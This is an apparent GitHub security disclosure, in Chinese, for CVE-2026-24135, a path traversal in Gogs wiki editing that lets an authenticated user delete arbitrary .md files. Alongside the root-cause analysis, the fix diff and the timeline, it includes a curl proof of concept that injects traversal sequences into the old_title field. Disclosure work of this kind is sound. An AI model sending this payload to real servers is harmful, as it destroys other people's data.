reschjonas/CVE-2026-24135

GitHub: reschjonas/CVE-2026-24135

披露了 Gogs 中因 Wiki 页面编辑时对旧标题参数未进行路径清洗导致的任意文件删除漏洞(CVE-2026-24135)。

Stars: 1 | Forks: 0

# CVE-2026-24135:Gogs 中通过 Wiki 路径遍历实现任意文件删除 ## 摘要 在对 [Gogs](https://gogs.io)(一款用 Go 编写的流行自托管 Git 服务)进行安全审计时,我发现了 `updateWikiPage` 函数中存在一个路径遍历漏洞。该漏洞允许具有 Wiki 写入权限的认证用户通过向 Wiki 编辑表单的 `old_title` 参数中注入路径遍历序列,**删除服务器上的任意文件**。 ## 根本原因 该漏洞是 `internal/database/wiki.go` 中一个**非对称的清洗缺陷**。当 Wiki 页面被更新时,该函数对两个标题参数的处理方式不同: | 参数 | 是否清洗 | 使用位置 | |-----------|-----------|---------| | `title`(新名称) | 是 — 通过 `ToWikiPageName()` | `path.Join()` 用于创建文件 | | `oldTitle`(旧名称) | **否** | `path.Join()` + `os.Remove()` | ### 漏洞代码 ``` // internal/database/wiki.go // Line 105: New title IS sanitized title = ToWikiPageName(title) filename := path.Join(localPath, title+".md") // Lines 113-115: Old title is NOT sanitized before os.Remove() } else { os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE } ``` `oldTitle` 值直接从用户控制的表单输入流入路由处理器,然后进入 `os.Remove()`,未经过任何路径清洗。 ## 数据流 ``` User Input (Form) Route Handler Database Function ┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐ │ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │ │ (unsanitized) │ │ wiki.go:246 │ │ │ └─────────────────┘ │ │ │ Line 114: │ │ No sanitization! │ │ os.Remove(path.Join( │ │ │ │ localPath, │ └─────────────────────┘ │ oldTitle+".md")) │ └──────────────────────────┘ ``` ## 攻击向量 **前置条件:** 对任意仓库 Wiki 具有写入权限的认证用户。 1. 导航到编辑一个已有的 Wiki 页面 2. 拦截发往 `/repo/wiki/edit` 的 POST 请求 3. 修改 `old_title` 表单字段,包含路径遍历序列(例如 `../../../../tmp/target_file`) 4. 提交请求 5. 服务器解析遍历路径并删除目标文件 ## 概念验证 ``` # 步骤 1:验证并创建/编辑 wiki 页面 # 步骤 2:拦截 POST 请求并在 old_title 中注入 traversal curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \ -H "Cookie: i_like_gogs=" \ -d "old_title=../../../../../../../tmp/target_file" \ -d "title=TestPage" \ -d "content=test" \ -d "message=test" # 结果:/tmp/target_file.md 从服务器被删除 ``` `.md` 扩展名会被自动追加。任何 Gogs 进程拥有写入权限且以 `.md` 结尾的文件都可以被删除。 ## 影响 | 影响 | 描述 | |--------|-------------| | **任意文件删除** | 删除 Gogs 进程可写入的任何 `.md` 文件 | | **拒绝服务** | 移除关键配置文件或数据文件 | | **数据丢失** | 破坏其他用户的 Wiki 页面、文档或仓库文件 | | **潜在升级** | 与其他漏洞链式利用,可能导致进一步危害 | ## 修复 对 `oldTitle` 应用与 `title` 相同的 `ToWikiPageName` 清洗方法: ``` func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) { // ... existing code ... title = ToWikiPageName(title) + // Sanitize oldTitle to prevent path traversal + if oldTitle != "" { + oldTitle = ToWikiPageName(oldTitle) + } filename := path.Join(localPath, title+".md") // ... } ``` 我在披露过程中提出了此修复方案,Gogs 维护者已在 [PR #8099](https://github.com/gogs/gogs/pull/8099) 中实现。 ## 披露时间线 | 日期 | 事件 | |------|-------| | 2025-12-13 | 安全审计中发现漏洞 | | 2025-12-13 | 通过 GitHub 安全公告提交报告([GHSA-jp7c-wj6q-3qf2](https://github.com/gogs/gogs/security/advisories/GHSA-jp7c-wj6q-3qf2)) | | 2026-01-20 | 跟进 Gogs 维护者 | | 2026-01-20 | 维护者确认漏洞 | | 2026-01-22 | 补丁合并([#8099](https://github.com/gogs/gogs/pull/8099)) | | 2026-01-22 | GitHub 分配 CVE-2026-24135 | | 2026-02-06 | 公开发布 | ## 参考 - [GitHub 安全公告:GHSA-jp7c-wj6q-3qf2](https://github.com/gogs/gogs/security/advisories/GHSA-jp7c-wj6q-3qf2) - [补丁:gogs/gogs#8099](https://github.com/gogs/gogs/pull/8099) - [Gogs 项目](https://gogs.io)
标签:CVE-2026-24135, Gogs, Go语言, Web安全, Wiki, 事件响应, 任意文件删除, 安全漏洞, 文件删除, 日志审计, 服务器监控, 本地文件删除, 权限绕过, 漏洞分析, 程序破解, 自托管Git服务, 蓝队分析, 认证用户, 路径探测, 路径注入, 路径遍历